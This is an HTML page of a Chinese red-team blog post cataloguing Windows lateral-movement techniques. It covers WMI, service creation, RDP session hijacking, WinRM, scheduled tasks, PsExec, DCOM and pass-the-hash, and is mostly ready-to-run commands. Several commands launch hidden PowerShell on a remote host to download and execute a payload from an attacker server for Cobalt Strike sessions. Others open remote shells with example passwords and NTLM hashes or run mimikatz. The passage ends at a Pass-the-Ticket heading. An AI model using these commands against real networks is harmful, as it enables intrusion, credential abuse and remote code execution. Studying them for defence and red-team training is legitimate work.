<!DOCTYPE html>












  


<html class="theme-next muse use-motion" lang="cn">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2"/>
<meta name="theme-color" content="#222">






  
  
    
      
    
    
      
    
  <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
  <link href="//cdn.bootcss.com/pace/1.0.2/themes/blue/pace-theme-flash.min.css" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />



















  
  
  
  

  
    
    
  

  
    
      
    

    
  

  

  
    
      
    

    
  

  
    
      
    

    
  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic|Monda:300,300italic,400,400italic,700,700italic|Lobster Two:300,300italic,400,400italic,700,700italic|PT Mono:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






  

<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=6.4.0" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.4.0">


  <link rel="mask-icon" href="/images/logo.svg?v=6.4.0" color="#222">









<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '6.4.0',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: false,
    fastclick: false,
    lazyload: false,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>


  




  <meta name="description" content="当年的爱，大风萧萧的草莽之爱  记录一些LateralMovement(横向移动)的方法.本文首发　 https://www.sec-in.com/article/311 博客备份">
<meta name="keywords" content="wmi,c#,LateralMovement">
<meta property="og:type" content="article">
<meta property="og:title" content="LateralMovement(横向移动)">
<meta property="og:url" content="https://lengjibo.github.io/LateralMovement/index.html">
<meta property="og:site_name" content="冷逸的个人博客|开往安河桥北~">
<meta property="og:description" content="当年的爱，大风萧萧的草莽之爱  记录一些LateralMovement(横向移动)的方法.本文首发　 https://www.sec-in.com/article/311 博客备份">
<meta property="og:locale" content="cn">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/0.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/1.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/2.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/3.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/4.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/5.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/6.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/7.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/8.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/9.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/10.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/11.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/12.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/13.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/14.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/15.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/16.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/17.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/18.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/19.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/20.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/21.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/22.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/23.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/24.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/25.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/26.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/27.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/28.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/29.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/30.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/31.png">
<meta property="og:image" content="https://lengjibo.github.io/images/LateralMovement/32.png">
<meta property="og:updated_time" content="2020-05-09T03:05:53.708Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="LateralMovement(横向移动)">
<meta name="twitter:description" content="当年的爱，大风萧萧的草莽之爱  记录一些LateralMovement(横向移动)的方法.本文首发　 https://www.sec-in.com/article/311 博客备份">
<meta name="twitter:image" content="https://lengjibo.github.io/images/LateralMovement/0.png">



  <link rel="alternate" href="/../../.deploy_git/atom.xml" title="冷逸的个人博客|开往安河桥北~" type="application/atom+xml" />




  <link rel="canonical" href="https://lengjibo.github.io/LateralMovement/"/>



<script type="text/javascript" id="page.configurations">
  CONFIG.page = {
    sidebar: "",
  };
</script>

  <title>LateralMovement(横向移动) | 冷逸的个人博客|开往安河桥北~</title>
  









  <noscript>
  <style type="text/css">
    .use-motion .motion-element,
    .use-motion .brand,
    .use-motion .menu-item,
    .sidebar-inner,
    .use-motion .post-block,
    .use-motion .pagination,
    .use-motion .comments,
    .use-motion .post-header,
    .use-motion .post-body,
    .use-motion .collection-title { opacity: initial; }

    .use-motion .logo,
    .use-motion .site-title,
    .use-motion .site-subtitle {
      opacity: initial;
      top: initial;
    }

    .use-motion {
      .logo-line-before i { left: initial; }
      .logo-line-after i { right: initial; }
    }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="cn">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">冷逸的个人博客|开往安河桥北~</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
    
  </div>

  <div class="site-nav-toggle">
    <button aria-label="Toggle navigation bar">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>



<nav class="site-nav">
  
    <ul id="menu" class="menu">
      
        
        
        
          
          <li class="menu-item menu-item-home">
    <a href="/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-home"></i> <br />Startseite</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-about">
    <a href="/about/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-user"></i> <br />Über</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-tags">
    <a href="/tags/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />Tags</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-categories">
    <a href="/categories/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-th"></i> <br />Kategorien</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-archives">
    <a href="/archives/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />Archiv</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-book">
    <a href="/book/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-book"></i> <br />book</a>
  </li>

      
      
    </ul>
  

  
    

  

  
</nav>



  



</div>
    </header>

    


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://lengjibo.github.io/LateralMovement/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="冷逸">
      <meta itemprop="description" content="做一个温柔的人...">
      <meta itemprop="image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="冷逸的个人博客|开往安河桥北~">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">LateralMovement(横向移动)
              
            
          </h1>
        

        <div class="post-meta">
        
          <span class="post-time">

            
            
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Veröffentlicht am</span>
              

              
                
              

              <time title="Post created: 2020-05-09 10:35:51 / Updated at: 11:05:53" itemprop="dateCreated datePublished" datetime="2020-05-09T10:35:51+08:00">2020-05-09</time>
            

            
              

              
            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">in</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/RedTeam/" itemprop="url" rel="index"><span itemprop="name">RedTeam</span></a></span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="post-meta-item-icon"
            >
            <i class="fa fa-eye"></i>
             Views:  
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>当年的爱，大风萧萧的草莽之爱</p>
<hr>
<p>记录一些LateralMovement(横向移动)的方法.本文首发　</p>
<p><a href="https://www.sec-in.com/article/311" target="_blank" rel="noopener">https://www.sec-in.com/article/311</a></p>
<p>博客备份</p>
<a id="more"></a>
<h2 id="WMI"><a href="#WMI" class="headerlink" title="WMI"></a>WMI</h2><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>WMI全称“windows管理规范”，从win2003开始一直存在。</p>
<p>利用条件</p>
<p>1、WMI服务开启，端口135，默认开启。</p>
<p>2、防火墙允许135、445等端口通信。</p>
<p>3、管理员权限，以及本地管理员组…</p>
<p>关于域用户添加进本地管理组的方法，可以参考(<a href="https://richardstk.com/2013/11/26/adding-domain-users-to-the-local-administrators-group-using-group-policy/" target="_blank" rel="noopener">https://richardstk.com/2013/11/26/adding-domain-users-to-the-local-administrators-group-using-group-policy/</a>)</p>
<h3 id="利用方法："><a href="#利用方法：" class="headerlink" title="利用方法："></a>利用方法：</h3><h4 id="0x01-windows自带wmic工具横向移动"><a href="#0x01-windows自带wmic工具横向移动" class="headerlink" title="0x01 windows自带wmic工具横向移动"></a>0x01 windows自带wmic工具横向移动</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wmic /NODE:192.168.93.20 /user:&quot;TEST\administrator&quot; /password:&quot;zxcASDqwe123&quot; PROCESS call create &quot;powershell.exe -nop -w hidden -c \&quot;IEX ((new-object net.webclient).downloadstring(&apos;http://192.168.0.108:8080/a&apos;))\&quot;&quot;</span><br></pre></td></tr></table></figure>
<p>ps：注意”为转义符号.</p>
<p><img src="../images/LateralMovement/0.png" alt="image"></p>
<h4 id="0x02-wmiexec-vbs"><a href="#0x02-wmiexec-vbs" class="headerlink" title="0x02 wmiexec.vbs"></a>0x02 wmiexec.vbs</h4><p>域环境下还是在工作组环境下都可正常使用。使用域账号或本地账号均可</p>
<p>工作组：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cscript wmiexec.vbs /shell 192.168.x.x administrator Aatest</span><br></pre></td></tr></table></figure>
<p>域环境：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cscript wmiexec.vbs /shell 192.168.93.20 TEST\administrator zxcASDqwe123</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/1.png" alt="image"></p>
<p>若使用普通域内用户则失败…</p>
<p><img src="../images/LateralMovement/2.png" alt="image"></p>
<h4 id="0x03-Invoke-TheHash-ps1"><a href="#0x03-Invoke-TheHash-ps1" class="headerlink" title="0x03 Invoke-TheHash.ps1"></a>0x03 Invoke-TheHash.ps1</h4><p>分别导入Invoke-WMIExec.ps1和Invoke-TheHash.ps1，然后批量撞网段内的机器即可。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Invoke-TheHash -Type WMIExec -Target 192.168.93.0/24 -Domain TEST -Username administrator -Hash aad3b435b51404eeaad3b435b51404ee</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/3.png" alt="image"></p>
<h4 id="0x04-kali自带pth工具集"><a href="#0x04-kali自带pth工具集" class="headerlink" title="0x04 kali自带pth工具集"></a>0x04 kali自带pth工具集</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pth-winexe -U administrator%&apos;123qwe!ASD&apos; --system --ostype=1 //192.168.0.106 cmd</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/4.png" alt="image"></p>
<h4 id="0x05-impacket套件"><a href="#0x05-impacket套件" class="headerlink" title="0x05 impacket套件"></a>0x05 impacket套件</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">域用户</span><br><span class="line">python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c 域名/administrator@192.168.xx.xxx &quot;ipconfig&quot;</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/5.png" alt="image"></p>
<h2 id="Remote-Service-Creation"><a href="#Remote-Service-Creation" class="headerlink" title="Remote Service Creation"></a>Remote Service Creation</h2><p>服务控制就是像听起来一样—控制服务，这对攻击者特别有用，因为可以通过SMB安排任务，因此启动远程服务的命令为</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sc \\192.168.93.20 create ExampleService binpath=&quot;c:\users\public\service.exe&quot;</span><br><span class="line">sc \\192.168.93.20 start ExampleService</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/6.png" alt="image"></p>
<p>注意这里的程序需要是一个服务程序，可以是有cs直接生成…</p>
<p><img src="../images/LateralMovement/7.png" alt="image"></p>
<h2 id="Remote-Desktop-Protocol"><a href="#Remote-Desktop-Protocol" class="headerlink" title="Remote Desktop Protocol"></a>Remote Desktop Protocol</h2><p>远程桌面是操作系统中的常见功能。它允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话。Microsoft将其对​​远程桌面协议（RDP）的实现称为远程桌面服务（RDS）。</p>
<p>你可以这样查询具有该功能的机器</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH p=(&#123;owned: true&#125;)-[r:CanRDP]-&amp;gt;() RETURN p</span><br></pre></td></tr></table></figure>
<p>（图片中并不是正确结果，只是演示操作。）</p>
<p><img src="../images/LateralMovement/8.png" alt="image"></p>
<h3 id="RDP-hijacking"><a href="#RDP-hijacking" class="headerlink" title="RDP hijacking"></a>RDP hijacking</h3><p>这个东西有点老了其实，国内十年前就在玩了，17年才被老外爆出来，其实技术性没啥的，就是在system权限下，tscon.exe只需要使用目标会话编号，就能立刻获取目标用户的桌面，并且不会留下明显的痕迹。<br>我们来看下这个操作。</p>
<p><img src="../images/LateralMovement/9.png" alt="image"></p>
<p>普通权限无法获取会话。</p>
<p><img src="../images/LateralMovement/10.png" alt="image"></p>
<p>我们换成system权限再看看。</p>
<p><img src="../images/LateralMovement/11.png" alt="image"></p>
<p>便直接可以获得用户桌面。</p>
<h2 id="PowerShell-Remoting"><a href="#PowerShell-Remoting" class="headerlink" title="PowerShell Remoting"></a>PowerShell Remoting</h2><p>winRM服务，2012之后默认开启。</p>
<p>可以使用下面的命令开启</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">winrm quickconfig</span><br></pre></td></tr></table></figure>
<p>然后我们便可以使用下面的方式连接到开启了的机器。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Enter-PSSession -Computername TAGRET</span><br></pre></td></tr></table></figure>
<p>或者获取远程机器的账户、密码？？也是没问题的</p>
<p><img src="../images/LateralMovement/12.png" alt="image"></p>
<p>需要的条件就是Remote Management Users或者Administrators</p>
<h2 id="Task-Scheduler"><a href="#Task-Scheduler" class="headerlink" title="Task Scheduler"></a>Task Scheduler</h2><p>计划任务，很简单的一个windows内置的东东，需要Administrators才能执行，之前我也说过用它提权方法，因为它的默认权限是system嘛，不过到了2008之后便不能交互式了，比如下面这样。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">at 13:20 /interactive cmd</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/13.png" alt="image"></p>
<p>也有at命令变成了SCHTASKS .</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SCHTASKS /Create /SC ONCE /TN spawn /TR #&#123;task_command&#125; /ST #&#123;time&#125;</span><br></pre></td></tr></table></figure>
<ul>
<li>/TN：任务名称</li>
<li>/TR：任务执行的程序</li>
<li>/ST：任务执行的时间</li>
</ul>
<p><img src="../images/LateralMovement/14.png" alt="image"></p>
<p>可以使用下面的方法删除任务</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SCHTASKS /Delete /TN spawn /F &amp;gt;nul 2&amp;gt;&amp;1</span><br></pre></td></tr></table></figure>
<p>如果是在远程机器上创建，可以使用下面的方法：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SCHTASKS /Create /S #&#123;target&#125; /RU #&#123;user_name&#125; /RP #&#123;password&#125; /TN &quot;Atomic task&quot; /TR &quot;#&#123;task_command&#125;&quot; /SC daily /ST #&#123;time&#125;</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/15.png" alt="image"></p>
<p>如果想要启动一个木马什么的，可以写一个bat进去，然后用计划任务执行。</p>
<p>付上一个Powershell版的执行方式：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$Action = New-ScheduledTaskAction -Execute &quot;calc.exe&quot;</span><br><span class="line">$Trigger = New-ScheduledTaskTrigger -AtLogon</span><br><span class="line">$User = New-ScheduledTaskPrincipal -GroupId &quot;BUILTIN\Administrators&quot; -RunLevel Highest</span><br><span class="line">$Set = New-ScheduledTaskSettingsSet</span><br><span class="line">$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set</span><br><span class="line">Register-ScheduledTask AtomicTask -InputObject $object</span><br></pre></td></tr></table></figure>
<p>顺便说一句，比如, 当前机器在域内,而且你也有了当前机器的 administrator权限,但你在 administrator下是看不到域内的任何东西的,即使当前机器就在域中(没法和 dc 正常通信),那么此时你就需要想办法先<br>把自己从 administrator 提到 system,之后就能跟 DC 正常通信了。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># schtasks /create /RL HIGHEST /F /tn &quot;SysDebug&quot; /tr &quot;c:\windows\debug\SysDebug.exe&quot; /sc DAILY /mo 1 /ST 10:05 /RU SYSTEM</span><br><span class="line"># schtasks /query | findstr &quot;SysDebug&quot; </span><br><span class="line"># schtasks /run /tn &quot;SysDebug&quot; </span><br><span class="line"># schtasks /delete /F /tn &quot;SysDebug&quot; </span><br><span class="line"># schtasks /tn &quot;SysDebug&quot; /query /fo list /v</span><br></pre></td></tr></table></figure>
<h2 id="PsExec"><a href="#PsExec" class="headerlink" title="PsExec"></a>PsExec</h2><p>这个东西不用我多说了吧，微软自己家的东西，好用的一批。。</p>
<ul>
<li>通过ipc$连接，然后释放psexesvc.exe到目标机器。</li>
<li>通过服务管理SCManager远程创建psexecsvc服务，并启动服务。</li>
<li>客户端连接执行命令，服务端启动相应的程序并执行回显数据。</li>
</ul>
<p><img src="../images/LateralMovement/16.png" alt="image"></p>
<p>注：</p>
<p>1、远程机器的 139 或 445 端口需要开启状态，即 SMB；</p>
<p>2、明文密码或者 NTLM 哈希；</p>
<p>3、具备将文件写入共享文件夹的权限；</p>
<p>4、能够在远程机器上创建服务：SC_MANAGER_CREATE_SERVICE (访问掩码：0x0002)；</p>
<p>5、能够启动所创建的服务：SERVICE_QUERY_STATUS（访问掩码：0x0004）+ SERVICE_START（访问掩码：0x0010）</p>
<p>6、机器在第一次使用psexec的时候，会弹出确认提示框，为避免这个麻烦，可以加一个参数：-accepteula</p>
<p>缺点：</p>
<p>PSEXESVC 服务将会安装在远程系统中，此时将会生成 Event 4697、7045 这2种事件日志；<br>有可能预生成Event 4624和Event 4652 Windows事件日志，日志会记录下该工具的使用数据。</p>
<p>cs也有对应的功能。</p>
<p><img src="../images/LateralMovement/17.png" alt="image"></p>
<h2 id="DCOM"><a href="#DCOM" class="headerlink" title="DCOM"></a>DCOM</h2><p>关于这个东西的介绍是：</p>
<blockquote>
<p>Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) [1] beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).</p>
</blockquote>
<p>大概的意思就是它是一个中间件，支持交互啥的。我们看一下他的用法。</p>
<p>首先我们可以使用下面的命令枚举所有的DCOM对象。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-CimInstance Win32_DCOMApplication</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/18.png" alt="image"></p>
<p>然后有些dcom能进行命令执行，我们就使用这些dcom进行横向移动。</p>
<h3 id="MMC20-APPLICATION-COM-OBJECT"><a href="#MMC20-APPLICATION-COM-OBJECT" class="headerlink" title="MMC20.APPLICATION COM OBJECT"></a>MMC20.APPLICATION COM OBJECT</h3><p>我们可以使用下面的命令查看该dcom的一些信息。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-ChildItem &apos;registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\&#123;49B2791A-B1AE-4C90-9B8E-E860BA07F889&#125;&apos;</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/19.png" alt="image"></p>
<p>其中的ExecuteShellCommand可以帮到我们。</p>
<p><img src="../images/LateralMovement/20.png" alt="image"></p>
<p>远程利用方式如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(&quot;MMC20.Application.1&quot;,&quot;10.0.0.2&quot;))</span><br><span class="line">$a.Document.ActiveView.ExecuteShellCommand(&quot;cmd&quot;,$null,&quot;/c hostname &amp;gt; c:\fromdcom.txt&quot;,&quot;7&quot;)</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/21.png" alt="image"></p>
<p>当然他也可以用来反弹cobaltstrike的会话，直接使用comexec插件即可：</p>
<p>原理也是调用的powershell上线。</p>
<p><img src="../images/LateralMovement/22.png" alt="image"></p>
<p>注：脚本在4.0下有bug，因为4.0移除了&amp;bstage。</p>
<h3 id="Excel-Application"><a href="#Excel-Application" class="headerlink" title="Excel.Application"></a>Excel.Application</h3><p>原理呢上面差不多，就不多说了。</p>
<p>网上也有自动化的脚本，就不演示了。</p>
<h2 id="Password-Spray"><a href="#Password-Spray" class="headerlink" title="Password Spray"></a>Password Spray</h2><p>这个没啥说的，密码破解而已…</p>
<p><img src="../images/LateralMovement/23.png" alt="image"></p>
<h2 id="WinRM远程管理服务"><a href="#WinRM远程管理服务" class="headerlink" title="WinRM远程管理服务"></a>WinRM远程管理服务</h2><p>算是对上面的补充吧。</p>
<p>WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985（http）或5986（https）</p>
<p>第一次使用要设置一个信任</p>
<p><img src="../images/LateralMovement/24.png" alt="image"></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Set-Item WSMan:localhost\client\trustedhosts -value *</span><br><span class="line">Restart-Service WinRM</span><br></pre></td></tr></table></figure>
<p>比如使用下面的方法来反弹一个cs的会话。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock &#123; powershell.exe -nop -w hidden -c &quot;IEX ((new-object net.webclient).downloadstring(&apos;http://192.168.3.86:80/a&apos;))&quot; &#125; -credential administrator</span><br></pre></td></tr></table></figure>
<p>反弹shell：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/25.png" alt="image"></p>
<h3 id="winrs"><a href="#winrs" class="headerlink" title="winrs"></a>winrs</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 &quot;ipconfig&quot;</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/26.png" alt="image"></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 “cmd”</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/27.png" alt="image"></p>
<p>cs也有类似的功能。</p>
<p><img src="../images/LateralMovement/28.png" alt="image"></p>
<h2 id="Pass-the-Hash"><a href="#Pass-the-Hash" class="headerlink" title="Pass-the-Hash"></a>Pass-the-Hash</h2><p>这个没啥说的了吧，经典的攻击方式。</p>
<p>以mimikatz为例：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sekurlsa::pth /user:.\localadmin /ntlm:HASH /run:cmd.exe</span><br></pre></td></tr></table></figure>
<p><img src="../images/LateralMovement/29.png" alt="image"></p>
<h3 id="LocalAccountTokenFilterPolicy"><a href="#LocalAccountTokenFilterPolicy" class="headerlink" title="LocalAccountTokenFilterPolicy"></a>LocalAccountTokenFilterPolicy</h3><p>在windows Vista之后引入了一种默认开启的remote UAC，计算机的任何非SID 500本地管理员帐户， 用户在远程计算机上没有特权提升能力，并且用户无法执行管理任务.</p>
<p>域内一般默认会启用winrm，我们便可以通过pth然后启动进程然后steal_token，使用winrm执行命令。</p>
<p><img src="../images/LateralMovement/30.png" alt="image"></p>
<p>顺便附上一个此类的脚本：</p>
<p><a href="https://github.com/FSecureLABS/gists/blob/master/PowerView-with-RemoteAccessPolicyEnumeration.ps1" target="_blank" rel="noopener">https://github.com/FSecureLABS/gists/blob/master/PowerView-with-RemoteAccessPolicyEnumeration.ps1</a></p>
<h2 id="Pass-the-Ticket"><a href="#Pass-the-Ticket" class="headerlink" title="Pass-the-Ticket"></a>Pass-the-Ticket</h2><p>这个也很经典了。</p>
